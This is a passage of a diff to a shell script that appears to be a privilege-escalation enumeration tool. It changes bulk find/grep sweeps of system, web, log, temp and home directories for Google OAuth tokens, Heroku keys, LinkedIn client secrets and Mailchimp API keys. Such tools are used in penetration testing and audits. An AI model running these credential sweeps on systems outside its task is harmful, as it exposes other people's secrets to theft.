"ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Heroku API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~" & +print_3title_no_nl "Searching Heroku API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching LinkedIn Client ID (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]~${SED_RED}~" & +print_3title_no_nl "Searching LinkedIn Client ID (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching LinkedIn Secret Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]~${SED_RED}~" & +print_3title_no_nl "Searching LinkedIn Secret Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Mailchamp API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-f]{32}-us[0-9]{1,2}~${SED_RED}~" & +print_3title_no_nl "Searching Mailchamp API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE 